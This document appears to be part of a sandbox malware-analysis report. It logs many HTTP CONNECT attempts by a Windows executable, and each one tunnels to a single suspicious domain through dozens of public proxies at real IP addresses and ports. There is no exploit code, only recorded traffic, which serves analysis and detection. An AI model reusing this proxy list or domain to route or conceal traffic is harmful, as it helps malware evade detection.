Mar 11, 2024 15:21:08.296252966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1288	192.168.2.9	54216	172.67.181.129	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.141371965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.296787024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1289	192.168.2.9	52891	72.195.34.59	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.151665926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1290	192.168.2.9	54224	45.40.136.39	45741	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.155216932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1291	192.168.2.9	54180	185.82.218.52	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.155452967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1292	192.168.2.9	52613	213.136.79.177	35358	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.155646086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1293	192.168.2.9	54190	192.252.216.81	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.157942057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1294	192.168.2.9	53644	194.4.50.62	12334	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.166125059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1295	192.168.2.9	54165	213.57.128.161	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.170435905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996864080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169302940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.497342110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.997258902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.591002941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.102819920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.204951048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.262608051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1296	192.168.2.9	54277	1.0.0.4	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.183522940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.340359926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1297	192.168.2.9	53561	45.11.95.165	6012	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.186665058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1298	192.168.2.9	54188	47.243.205.1	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.191404104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1299	192.168.2.9	54302	172.67.187.242	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.191755056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.346247911 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1300	192.168.2.9	54299	162.159.242.10	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.193224907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.354780912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1301	192.168.2.9	54376	103.133.222.170	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.203911066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1302	192.168.2.9	54377	103.133.222.170	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.210536003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1303	192.168.2.9	53542	212.127.93.185	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.212059021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1304	192.168.2.9	54382	103.133.222.170	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.212246895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1305	192.168.2.9	54385	103.133.222.170	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.213594913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.9	54191	121.182.138.71	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.216492891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.9	54399	91.231.186.133	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.218851089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.9	54189	58.234.116.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.219033957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.9	54401	91.231.186.133	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.220799923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.9	51947	200.174.198.95	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.222507000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.388082981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.497214079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.555442095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.700059891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.700201035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.9	54403	91.231.186.133	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.222510099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.9	52603	103.1.105.10	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.226387024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.9	54404	91.231.186.133	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.271877050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.9	54286	157.185.165.110	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.273104906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.9	54196	121.66.198.76	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.274477959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.9	53612	43.129.228.46	7890	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.275505066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.577054024 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.9	53708	114.129.2.82	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.275748968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.540594101 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.9	54316	74.48.7.43	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.275965929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.9	54222	167.71.5.83	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.276829958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996864080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
